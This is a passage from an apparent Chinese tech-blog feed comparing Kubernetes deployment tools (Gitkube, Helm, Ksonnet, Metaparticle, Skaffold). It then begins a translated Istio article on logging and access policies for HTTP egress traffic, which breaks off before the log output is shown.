&lt;p&gt;Gitkube 的重点是即插即用的安装过程，以及沿用既有的知名工具（git 以及 kubectl）。对需要部署的仓库没有什么假设。Docker build 的上下文以及 Dockerfile 所在路径，都可以进行配置。Git 连接认证是通过 SSH 公钥进行的。任何时候代码发生变更、提交和推送，都会触发后面的构建和部署过程。&lt;/p&gt;

&lt;h4 id=&#34;架构-1&#34;&gt;架构&lt;/h4&gt;

&lt;p&gt;&lt;img src=&#34;img/1*n9Il4vKaq9gHC5qQyF-9Tg.png&#34; alt=&#34;Gitkube Architecture&#34; /&gt;&lt;/p&gt;

&lt;p&gt;集群侧有三个组件，一个远程 CRD 可以定义针对一个远端 URL 发生 Push 的时候如何应对，&lt;code&gt;gitkubed&lt;/code&gt; 构建 Docker 镜像并更新部署，&lt;code&gt;gitkube-controller&lt;/code&gt; 会监控 CRD，随变化更新 &lt;code&gt;gitkubed&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;在集群上创建这些对象之后，开发者就可以使用 kubectl 来创建应用的定义了。创建一个 &lt;code&gt;remote&lt;/code&gt; 对象，告诉 gitkube，当 git push 发生时该做什么。Gitkube 把远程 url 写回到 &lt;code&gt;remote&lt;/code&gt; 对象的状态字段中。&lt;/p&gt;

&lt;h4 id=&#34;从-0-到-kubernetes-1&#34;&gt;从 0 到 Kubernetes&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;先决条件

&lt;ul&gt;
&lt;li&gt;Kubernetes 集群（包括 kubectl）。&lt;/li&gt;
&lt;li&gt;git。&lt;/li&gt;
&lt;li&gt;集群上安装好 gitkube （&lt;code&gt;kubectl create&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;下面是将应用提交到 Kubernetes 的步骤，也包含了 gitkube 的安装过程。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;已经过时&lt;/p&gt;
&lt;/blockquote&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ git clone https://github.com/hasura/gitkube-example
$ cd gitkube-example
$ kubectl create -f k8s.yaml
$ cat ~/.ssh/id_rsa.pub | awk &#39;$0=&amp;quot;  - &amp;quot;$0&#39; &amp;gt;&amp;gt; &amp;quot;remote.yaml&amp;quot;
$ kubectl create -f remote.yaml
$ kubectl get remote example -o json | jq -r &#39;.status.remoteUrl&#39;
$ git remote add example [remoteUrl]
$ git push example master
## 编辑代码
## 提交和推送
&lt;/code&gt;&lt;/pre&gt;

&lt;h4 id=&#34;用例-1&#34;&gt;用例&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;使用 Git 进行简单的部署，无需 Docker Build。&lt;/li&gt;
&lt;li&gt;在 Kubernetes 上开发应用。&lt;/li&gt;
&lt;li&gt;开发过程中，WIP 分支可以多次提交，迅速反馈。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;helm-https-helm-sh-1&#34;&gt;&lt;a href=&#34;https://helm.sh/&#34; target=&#34;_blank&#34;&gt;Helm&lt;/a&gt;&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;Kubernetes 的包管理系统。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Helm 使用一种称为 &lt;code&gt;Chart&lt;/code&gt; 的形式，来管理 Kubernetes 上的应用。Helm 为应用创建 YAML 并进行版本化操作，这样可以对包含 Deployment 在内的所有对象进行回滚。Chart 可以包含 Deployment、Service 以及 Configmap 等。Chart 的模板允许用户方便的修改部署细节，另外还支持带有依赖关系的复杂应用。&lt;/p&gt;

&lt;p&gt;Helm 的主要目标是在生产环境中部署和管理应用程序。对比 Draft 和 Gitkube，Helm 不是用来开发的，而是用来部署的。另外现在有大量的预构建 &lt;code&gt;Chart&lt;/code&gt; 可以供 Helm 使用。&lt;/p&gt;

&lt;h4 id=&#34;架构-2&#34;&gt;架构&lt;/h4&gt;

&lt;p&gt;&lt;img src=&#34;img/1*Nsme583Ut1TY6IDZjKl27w.png&#34; alt=&#34;Helm architecture&#34; /&gt;&lt;/p&gt;

&lt;p&gt;首先看看 Chart。我们之前说过，Chart 之中包含一系列的信息，这些信息是部署应用到 Kubernetes 中的必要条件。其中可能包含 Deployment、Service、Configmap、Secret 以及 Ingress 等。所有的定义都是以 Yaml 文件模板的形式出现，另外还包含嵌套的依赖 Chart。Chart 可以在 Chart 仓库中发布。&lt;/p&gt;

&lt;p&gt;Helm 有两个主要组件，分别是 Helm 客户端和 Tiller 服务器。客户端用于管理 Chart 和仓库，并且和 Tiller 服务器进行通信，来完成对 Chart 的部署和管理。&lt;/p&gt;

&lt;p&gt;Tiller 组件运行在集群上，和 Kubernetes API 服务器打交道，进行对象的实际操作。&lt;/p&gt;

&lt;p&gt;Helm 不处理源码，用户需要使用 CI/CD 系统来构建镜像，然后用 Helm 来部署合适的镜像。&lt;/p&gt;

&lt;h4 id=&#34;从-0-到-kubernetes-2&#34;&gt;从 0 到 Kubernetes&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;先决条件

&lt;ul&gt;
&lt;li&gt;Kubernetes 集群&lt;/li&gt;
&lt;li&gt;Helm 客户端&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;接下来是一个在 Kubernetes 集群上使用 Helm 部署 Wordpress 博客的例子：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ helm init
$ helm repo update
$ helm install stable/wordpress
## 更新版本
$ helm upgrade [release-name] [chart-name]
&lt;/code&gt;&lt;/pre&gt;

&lt;h4 id=&#34;用例-2&#34;&gt;用例&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;打包：包含多个 Kubernetes 对象的复杂应用可以集中在一起。&lt;/li&gt;
&lt;li&gt;可复用的 Chart 仓库。&lt;/li&gt;
&lt;li&gt;可以轻易部署在多个环境上。&lt;/li&gt;
&lt;li&gt;可嵌套的结构，能够解决依赖关系。&lt;/li&gt;
&lt;li&gt;参数化的模板。&lt;/li&gt;
&lt;li&gt;容易复用。&lt;/li&gt;
&lt;li&gt;持续交付的最后一公里。&lt;/li&gt;
&lt;li&gt;只能部署已经构建完成的镜像。&lt;/li&gt;
&lt;li&gt;具备生命周期管理能力，可以管理多个 Kubernetes 对象的升级和回滚。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;ksonnet-https-ksonnet-io-1&#34;&gt;&lt;a href=&#34;https://ksonnet.io/&#34; target=&#34;_blank&#34;&gt;Ksonnet&lt;/a&gt;&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;一个支持客户按操作的框架，提供可扩展的 Kubernetes 配置。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Ksonnet 是为 Kubernetes 定义应用配置的另一种方法。它并没有使用 Kubernetes 世界中常用的 YAML 语言，改用一种称为 Jsonnet 的 JSON 模板语言。Ksonnet 客户端最终会渲染出 YAML 文件并提交给集群。&lt;/p&gt;

&lt;p&gt;这一系统的主要功能就是定义可复用的组件，并利用该工具渐进式的进行程序构建。&lt;/p&gt;

&lt;h4 id=&#34;架构-3&#34;&gt;架构&lt;/h4&gt;

&lt;p&gt;&lt;img src=&#34;img/1*mvkdIs0QOGp8xoTMOacM9g.png&#34; alt=&#34;Ksonnet 架构&#34; /&gt;&lt;/p&gt;

&lt;p&gt;基础的构建单位被称为 &lt;code&gt;part&lt;/code&gt;，&lt;code&gt;part&lt;/code&gt; 可以协作构成 &lt;code&gt;prototype&lt;/code&gt;。一个 &lt;code&gt;prototype&lt;/code&gt; 配合参数之后，就成为了一个 &lt;code&gt;component&lt;/code&gt;，&lt;code&gt;component&lt;/code&gt; 可以聚合在一起，成为一个 &lt;code&gt;application&lt;/code&gt;。&lt;code&gt;application&lt;/code&gt; 可以部署到多个 &lt;code&gt;environment&lt;/code&gt; 之中。&lt;/p&gt;

&lt;p&gt;最基础的流程就是使用 &lt;code&gt;ks init&lt;/code&gt; 命令创建一个应用目录，使用 &lt;code&gt;ks generate&lt;/code&gt; 生成（或者也可以自行编写）&lt;code&gt;component&lt;/code&gt; 的元数据文件，使用 &lt;code&gt;ks apply &amp;lt;env&amp;gt;&lt;/code&gt; 命令可以把应用部署到集群/环境之中。可以用 &lt;code&gt;ks env&lt;/code&gt; 命令来管理不同的环境。&lt;/p&gt;

&lt;p&gt;简而言之，Ksonnet 帮助用户定义和管理应用，他把应用视作一系列使用 Jsonnet 的组件进行管理，并部署在不同的 Kubernetes 集群上。&lt;/p&gt;

&lt;p&gt;跟 Helm 类似，Ksonnet 不和源码发生关系，他是一个使用 Jsonnet 为 Kubernetes 定义应用的工具。&lt;/p&gt;

&lt;h4 id=&#34;从-0-到-kubernetes-3&#34;&gt;从 0 到 Kubernetes&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;先决条件

&lt;ul&gt;
&lt;li&gt;Kubernetes 集群&lt;/li&gt;
&lt;li&gt;ksonnet 客户端&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;接下来是一个留言板例子：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ ks init
$ ks generate deployed-service guestbook-ui \
     --image gcr.io/heptio-images/ks-guestbook-demo:0.1 \
     --type ClusterIP
$ ks apply default
## 变更
$ ks apply default
&lt;/code&gt;&lt;/pre&gt;

&lt;h4 id=&#34;用例-3&#34;&gt;用例&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;使用 Jsonnet 编写配置很有弹性。&lt;/li&gt;
&lt;li&gt;打包：复杂配置可以用匹配组件的方式集成起来。&lt;/li&gt;
&lt;li&gt;可复用的组件和原型库：避免重复。&lt;/li&gt;
&lt;li&gt;方便的多环境部署。&lt;/li&gt;
&lt;li&gt;CD 的最后一步。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;metaparticle-https-metaparticle-io-1&#34;&gt;&lt;a href=&#34;https://metaparticle.io/&#34; target=&#34;_blank&#34;&gt;Metaparticle&lt;/a&gt;&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;为容器和 Kubernetes 而生的云原生标准库。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Metaparticle 将自己定位于云原生应用的标准库，他内置了经过验证的分布式系统模式，而开发人员可以用习惯的编程语言通过原语的方式方便的采用这些先进模式。&lt;/p&gt;

&lt;p&gt;他提供了简易的语言接口，帮助用户构建可以容器化并部署到 Kubernetes 上的应用，这些应用会直接兼容负载均衡等基础设施。无需自行编写 Dockerfile 或者 Kubernetes 元数据文件，所有相关内容都在代码中的用原语来体现。&lt;/p&gt;

&lt;p&gt;例如一个 Python Web 应用，可以给 main 函数加入一个叫做 &lt;code&gt;containerize&lt;/code&gt; 的 Decorator（从 metaparticle 中 import）。当执行这段 Python 代码的时候，会构建 Docker 镜像并部署到 Decorator 参数中提到的 Kubernetes 集群上。缺省集群定义来自 kubectl 上下文。所以切换环境就和切换当前上下文是等价的。&lt;/p&gt;

&lt;p&gt;在 NodeJS、Java 以及 .NET 上也提供了类似的原语。另外还正在开发更多的语言支持。&lt;/p&gt;

&lt;h4 id=&#34;架构-4&#34;&gt;架构&lt;/h4&gt;

&lt;p&gt;各种语言的 &lt;code&gt;metaparticle&lt;/code&gt; 库都包含所需的原语，绑定了构建 Docker 镜像、推送到私库、创建 Kubenretes yaml 文件并在集群上部署的代码。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/metaparticle-io/package&#34; target=&#34;_blank&#34;&gt;Metaparticle 包&lt;/a&gt;中内置了各种语言用来构建容器的支持。而 &lt;a href=&#34;https://github.com/metaparticle-io/sync&#34; target=&#34;_blank&#34;&gt;Metaparticle Sync&lt;/a&gt; 则包含了在不同机器上运行的不同容器进行同步的能力。&lt;/p&gt;

&lt;p&gt;目前支持的语言包括：JavaScript/NodeJS、Python、Java 以及 .NET。&lt;/p&gt;

&lt;h4 id=&#34;从-0-到-kubernetes-4&#34;&gt;从 0 到 Kubernetes&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;先决条件

&lt;ul&gt;
&lt;li&gt;Kubernetes 集群。&lt;/li&gt;
&lt;li&gt;特定语言的 Metaparticle 库。&lt;/li&gt;
&lt;li&gt;Docker。&lt;/li&gt;
&lt;li&gt;Docker 私库。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;一个只包含相关内容的 Python 例子，可以使用这些代码构建 Docker 镜像，并在 Kubernetes 上进行部署。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;@containerize(
    &#39;docker.io/your-docker-user-goes-here&#39;,
    options={
        &#39;ports&#39;: [8080],
        &#39;replicas&#39;: 4,
        &#39;runner&#39;: &#39;metaparticle&#39;,
        &#39;name&#39;: &#39;my-image&#39;,
        &#39;publish&#39;: True
    })
def main():
    Handler = MyHandler
    httpd = SocketServer.TCPServer((&amp;quot;&amp;quot;, port), Handler)
    httpd.serve_forever()
&lt;/code&gt;&lt;/pre&gt;

&lt;h4 id=&#34;用例-4&#34;&gt;用例&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;只想开发应用，不想担心 Kubernetes YAML 或者 Dockerfile。&lt;/li&gt;
&lt;li&gt;不想掌握多种工具和文件格式，又想搭上容器和 Kubernetes 快车的开发人员。&lt;/li&gt;
&lt;li&gt;快速开发可复制可负载均衡的服务。&lt;/li&gt;
&lt;li&gt;在多个分布式副本之间进行同步，例如加锁、或者选举操作。&lt;/li&gt;
&lt;li&gt;简单开发云原生模式的应用，例如分片系统。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;skaffold-https-github-com-googlecloudplatform-skaffold-1&#34;&gt;&lt;a href=&#34;https://github.com/GoogleCloudPlatform/skaffold&#34; target=&#34;_blank&#34;&gt;Skaffold&lt;/a&gt;&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;简单可重复的 Kubernetes 开发。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Skaffold 能够处理构建镜像、推送镜像以及在 Kubernetes 上进行部署。跟 Gitkube 类似，任何包含 Dockerfile 的目录都可以用 Skaffold 部署到 kubernetes 集群上。&lt;/p&gt;

&lt;p&gt;Skaffold 会在本地构建 Docker 镜像，推送到私库，然后使用 &lt;code&gt;skaffold&lt;/code&gt; 客户端进行部署。他还会监测目录，如此一来，目录中的代码一旦发生变化，就会触发重新构建和部署。这个过程还会从容器中获取日志。&lt;/p&gt;

&lt;p&gt;可以使用 YAML 文件来构建、推送、部署的 Pipeline，所以开发者可以混合使用合适的工具，例如 Docker build 和 Google Container Builder，Kubectl 和 Helm 等。&lt;/p&gt;

&lt;h4 id=&#34;架构-5&#34;&gt;架构&lt;/h4&gt;

&lt;p&gt;&lt;img src=&#34;img/1*elRwOUeoOJvGOK9JdHZIrA.png&#34; alt=&#34;Skaffold 概览&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Skaffold 客户端做了所有的工作。他会查找一个叫做 &lt;code&gt;skaffold.yaml&lt;/code&gt; 的文件，其中包含了必须完成的任务。一个典型的例子就是在 &lt;code&gt;skaffold dev&lt;/code&gt; 运行的目录中查找 Dockerfile 构建 Docker 镜像，并使用 sha256 进行标记，推送镜像，把镜像设置到 Kubernetes 元数据文件之中，最后发布到集群上。这一系列动作会被目录中的变更所触发。来自部署容器的日志会出现在同一个 Watch 窗口中。&lt;/p&gt;

&lt;p&gt;Skaffold 和 Draft 和 Gitkube 很像，但是更具弹性，如上图所示，他能管理不同的“构建-推送-部署”流程。&lt;/p&gt;

&lt;h4 id=&#34;从-0-到-kubernetes-5&#34;&gt;从 0 到 Kubernetes&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;先决条件

&lt;ul&gt;
&lt;li&gt;Kubernetes 集群&lt;/li&gt;
&lt;li&gt;Skaffold 客户端&lt;/li&gt;
&lt;li&gt;Docker&lt;/li&gt;
&lt;li&gt;Docker 镜像库&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;下面的步骤，部署一个 Go 编写的 Hello World 应用：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ git clone https://github.com/GoogleCloudPlatform/skaffold
$ cd examples/getting-started
## 编辑 skaffold.yaml，加入 Docker 仓库
$ skaffold dev
## 打开新终端: 编辑代码
&lt;/code&gt;&lt;/pre&gt;

&lt;h4 id=&#34;用例-5&#34;&gt;用例&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;方便部署。&lt;/li&gt;
&lt;li&gt;迭代构建——持续的构建-发布流程。&lt;/li&gt;
&lt;li&gt;为 Kubernetes 开发应用。&lt;/li&gt;
&lt;li&gt;在 CICD 流程中定义“构建-推送-部署”流程。&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>HTTP Egress 流量的监控和访问策略管理</title>
      <link>/post/egress-monitoring-access-control/</link>
      <pubDate>Sat, 23 Jun 2018 10:48:57 +0800</pubDate>
      <guid>/post/egress-monitoring-access-control/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://istio.io/blog/2018/egress-monitoring-access-control/&#34; target=&#34;_blank&#34;&gt;Monitoring and Access Policies for HTTP Egress Traffic&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：VADIM EISENBERG 和 RONEN SCHAFFER&lt;/p&gt;

&lt;p&gt;Istio 的主要功能就是在服务网格内部管理微服务之间的通信，除此之外，Istio 还能对 Ingress（从外部进入网格） 和 Egress（从网格发出到外部） 流量进行管理。不管是网格内部流量，还是 Ingress 或者 Egress 流量，Istio 都能够在其中进行访问策略的控制，并完成遥测数据的聚合工作。&lt;/p&gt;

&lt;p&gt;本文中我们会展示如何使用 Istio 在 HTTP Egress 流量中实施监控和访问策略控制。文中谈到的内容针对 &lt;a href=&#34;https://github.com/istio/istio/releases/tag/0.8.0&#34; target=&#34;_blank&#34;&gt;Istio 0.8.0&lt;/a&gt; 及以上是有效的。&lt;/p&gt;

&lt;h1 id=&#34;用例&#34;&gt;用例&lt;/h1&gt;

&lt;p&gt;假设一个组织正在运行的应用需要处理来自于 &lt;code&gt;cnn.com&lt;/code&gt; 的内容。这些应用已经被解构为部署在 Istio 服务网格中的微服务。这些应用要获取 &lt;code&gt;cnn.com&lt;/code&gt; 多个频道的内容：&lt;a href=&#34;https://edition.cnn.com/politics&#34; target=&#34;_blank&#34;&gt;edition.cnn.com/politics&lt;/a&gt;、&lt;a href=&#34;https://edition.cnn.com/sport&#34; target=&#34;_blank&#34;&gt;edition.cnn.com/sport&lt;/a&gt; 以及 &lt;a href=&#34;https://edition.cnn.com/health&#34; target=&#34;_blank&#34;&gt;edition.cnn.com/health&lt;/a&gt;。目前已经&lt;a href=&#34;https://istio.io/docs/tasks/traffic-management/egress-tls-origination/&#34; target=&#34;_blank&#34;&gt;配置 Istio 使其允许访问 &lt;code&gt;edition.cnn.com&lt;/code&gt;&lt;/a&gt;，一切运行良好。然而在某一天，他们决定限制政治方面的内容，技术上讲，就是要阻止对 &lt;a href=&#34;https://edition.cnn.com/politics&#34; target=&#34;_blank&#34;&gt;edition.cnn.com/politics&lt;/a&gt; 的访问，继续允许对 &lt;a href=&#34;https://edition.cnn.com/sport&#34; target=&#34;_blank&#34;&gt;edition.cnn.com/sport&lt;/a&gt; 以及 &lt;a href=&#34;https://edition.cnn.com/health&#34; target=&#34;_blank&#34;&gt;edition.cnn.com/health&lt;/a&gt; 的访问。对 &lt;a href=&#34;https://edition.cnn.com/politics&#34; target=&#34;_blank&#34;&gt;edition.cnn.com/politics&lt;/a&gt; 的访问需要在应用程序、命名空间以及用户的不同粒度上进行访问控制。&lt;/p&gt;

&lt;p&gt;要实现这个目标，运维人员需要监控对外部服务的访问，并分析 Istio 日志来确保对 &lt;a href=&#34;https://edition.cnn.com/politics&#34; target=&#34;_blank&#34;&gt;edition.cnn.com/politics&lt;/a&gt; 的访问都是经过授权的。另外他们还要配置 Istio，让 Istio 自动阻止对 &lt;a href=&#34;https://edition.cnn.com/politics&#34; target=&#34;_blank&#34;&gt;edition.cnn.com/politics&lt;/a&gt; 的（未授权）访问。&lt;/p&gt;

&lt;p&gt;该组织决定防止对新策略发生篡改，通过技术手段执行策略，防止恶意应用访问受限内容。&lt;/p&gt;

&lt;h2 id=&#34;相关任务&#34;&gt;相关任务&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://istio.io/docs/tasks/traffic-management/egress/&#34; target=&#34;_blank&#34;&gt;Egress 流量控制&lt;/a&gt;：网格内应用对（Kubernetes 集群）外部的 HTTP 和 HTTPS 服务的访问方式。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://istio.io/docs/tasks/traffic-management/egress-tls-origination/&#34; target=&#34;_blank&#34;&gt;TLS 方式访问 Egress 流量&lt;/a&gt;：内部应用使用 HTTP 协议访问需要 HTTPS 的外部服务的能力。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://istio.io/docs/tasks/traffic-management/egress-gateway/&#34; target=&#34;_blank&#34;&gt;配置 Egress Gateway&lt;/a&gt; ：如何配置 Istio 令其使用独立的 &lt;code&gt;egress gateway&lt;/code&gt; 网关服务来发送 Egress 流量。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://istio.io/docs/tasks/telemetry/metrics-logs/&#34; target=&#34;_blank&#34;&gt;收集指标和日志&lt;/a&gt;：为网格中的服务配置指标和日志。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://istio.io/docs/tasks/telemetry/using-istio-dashboard/&#34; target=&#34;_blank&#34;&gt;使用 Grafana 进行指标可视化&lt;/a&gt;：Istio Dashboard 在网格流量监控方面的作用。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://istio.io/docs/tasks/security/basic-access-control/&#34; target=&#34;_blank&#34;&gt;基础访问控制&lt;/a&gt;：网格内服务的访问控制问题。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://istio.io/docs/tasks/security/secure-access-control/&#34; target=&#34;_blank&#34;&gt;安全访问控制&lt;/a&gt;：如何使用黑名单和白名单配置访问策略。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;和上面列出的任务不同，本文讲述的是 Istio 对 Egress 流量的监控和访问策略。&lt;/p&gt;

&lt;h2 id=&#34;开始之前&#34;&gt;开始之前&lt;/h2&gt;

&lt;p&gt;依照 &lt;a href=&#34;https://istio.io/docs/tasks/traffic-management/egress-gateway/#perform-tls-origination-with-the-egress-gateway&#34; target=&#34;_blank&#34;&gt;配置 Egress Gateway，使用 Egress Gateway 执行 TLS 访问&lt;/a&gt; 任务中的步骤，不要执行&lt;a href=&#34;https://istio.io/docs/tasks/traffic-management/egress-gateway/#cleanup&#34; target=&#34;_blank&#34;&gt;清理&lt;/a&gt;操作。完成之后，就可在网格之内使用安装了 &lt;code&gt;curl&lt;/code&gt; 的容器来访问  &lt;a href=&#34;https://edition.cnn.com/politics&#34; target=&#34;_blank&#34;&gt;edition.cnn.com/politics&lt;/a&gt; 了。下面的内容中，我们假设名为 &lt;code&gt;SOURCE_POD&lt;/code&gt; 的环境变量中包含了 Pod 名称。&lt;/p&gt;

&lt;h2 id=&#34;配置监控和访问策略&#34;&gt;配置监控和访问策略&lt;/h2&gt;

&lt;p&gt;既然要用安全方式来完成任务，就需要通过 &lt;code&gt;egress gateway&lt;/code&gt; 来进行 egress 传输，这部分内容在 &lt;a href=&#34;https://istio.io/docs/tasks/traffic-management/egress-gateway/&#34; target=&#34;_blank&#34;&gt;配置 Egress Gateway&lt;/a&gt; 中有详细描述。这里所谓的安全方式指的是防止恶意应用绕过 Istio 监控和策略管理进行未经授权的访问。&lt;/p&gt;

&lt;p&gt;我们的场景中，该组织执行了上一节“开始之前”的步骤。这个步骤完成后，开放了对 &lt;code&gt;edition.cnn.com&lt;/code&gt; 的访问，并且配置了响应的 Egress Gateway。现在可以对 &lt;code&gt;edition.cnn.com&lt;/code&gt; 进行监控和策略进行配置了。&lt;/p&gt;

&lt;h3 id=&#34;日志&#34;&gt;日志&lt;/h3&gt;

&lt;p&gt;首先配置一下对 &lt;code&gt;*.cnn.com&lt;/code&gt; 的记录。创建一个 &lt;code&gt;logentry&lt;/code&gt; 和两个 &lt;a href=&#34;https://istio.io/docs/reference/config/policy-and-telemetry/adapters/stdio/&#34; target=&#34;_blank&#34;&gt;stdio&lt;/a&gt; 类型的 &lt;code&gt;handler&lt;/code&gt;，其中一个用 &lt;code&gt;error&lt;/code&gt; 级别的日志来记录受限的访问，另外一个用 &lt;code&gt;info&lt;/code&gt; 级别来记录所有到 &lt;code&gt;*.cnn.com&lt;/code&gt; 的访问。接下来创建 &lt;code&gt;rules&lt;/code&gt; 把 &lt;code&gt;logentry&lt;/code&gt; 定向到 &lt;code&gt;handler&lt;/code&gt; 上。对 &lt;code&gt;*.cnn.com/politics&lt;/code&gt; 的访问会被指派给受限访问的规则，剩余的访问则会被另一条规则接收。要理解 Istio 的 &lt;code&gt;logentries&lt;/code&gt;、&lt;code&gt;rules&lt;/code&gt; 以及 &lt;code&gt;handlers&lt;/code&gt;，可以阅读 &lt;a href=&#34;https://istio.io/blog/2017/adapter-model/&#34; target=&#34;_blank&#34;&gt;Istio Adaper Model&lt;/a&gt; 一文。下面的示意图中包含了刚才讲到的这些实体和依赖关系：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;img/egress-adapters-monitoring-policy.svg&#34; alt=&#34;用于监控 Egress 的 Instance、Rules 以及 Handlers&#34; /&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;创建 &lt;code&gt;logentries&lt;/code&gt;、&lt;code&gt;rules&lt;/code&gt; 以及 &lt;code&gt;handlers&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;# egress 访问的日志条目
apiVersion: &amp;quot;config.istio.io/v1alpha2&amp;quot;
kind: logentry
metadata:
name: egress-access
namespace: istio-system
spec:
severity: &#39;&amp;quot;info&amp;quot;&#39;
timestamp: request.time
variables:
destination: request.host | &amp;quot;unknown&amp;quot;
path: request.path | &amp;quot;unknown&amp;quot;
source: source.labels[&amp;quot;app&amp;quot;] | source.service | &amp;quot;unknown&amp;quot;
sourceNamespace: source.namespace | &amp;quot;unknown&amp;quot;
user: source.user | &amp;quot;unknown&amp;quot;
responseCode: response.code | 0
responseSize: response.size | 0
monitored_resource_type: &#39;&amp;quot;UNSPECIFIED&amp;quot;&#39;
---
# Handler for error egress access entries
apiVersion: &amp;quot;config.istio.io/v1alpha2&amp;quot;
kind: stdio
metadata:
name: egress-error-logger
namespace: istio-system
spec:
severity_levels:
info: 2 # 输出级别为 error
outputAsJson: true
---
# 访问 *.cnn.com/politics 的规则
apiVersion: &amp;quot;config.istio.io/v1alpha2&amp;quot;
kind: rule
metadata:
name: handle-politics
namespace: istio-system
spec:
match: request.host.endsWith(&amp;quot;cnn.com&amp;quot;) &amp;amp;&amp;amp; request.path.startsWith(&amp;quot;/politics&amp;quot;)
actions:
- handler: egress-error-logger.stdio
instances:
- egress-access.logentry
---
# Info 级别的 Egress 日志
apiVersion: &amp;quot;config.istio.io/v1alpha2&amp;quot;
kind: stdio
metadata:
name: egress-access-logger
namespace: istio-system
spec:
severity_levels:
info: 0 # 输出为 Info 级别
outputAsJson: true
---
# 访问 *.cnn.com 的规则
apiVersion: &amp;quot;config.istio.io/v1alpha2&amp;quot;
kind: rule
metadata:
name: handle-cnn-access
namespace: istio-system
spec:
match: request.host.endsWith(&amp;quot;.cnn.com&amp;quot;)
actions:
- handler: egress-access-logger.stdio
instances:
- egress-access.logentry
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;分别向 &lt;a href=&#34;https://edition.cnn.com/politics&#34; target=&#34;_blank&#34;&gt;edition.cnn.com/politics&lt;/a&gt;、&lt;a href=&#34;https://edition.cnn.com/sport&#34; target=&#34;_blank&#34;&gt;edition.cnn.com/sport&lt;/a&gt; 发送请求，所有请求都应该返回 &lt;code&gt;200 OK&lt;/code&gt;。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl exec -it $SOURCE_POD -c sleep -- bash -c &#39;curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/politics; curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/sport; curl -sL -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; http://edition.cnn.com/health&#39;
200
200
200
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;查询 Mixer 的日志，查看日志中出现的请求信息：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;kubectl -n istio-system logs $(kubectl -n istio-system get pods -l istio-mixer-type=telemetry -o jsonpath=&#39;{.items[0].metadata.name}&#39;) mixer | grep egress-access | grep cnn | tail -4
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;返回如下信息：&lt;/p&gt;

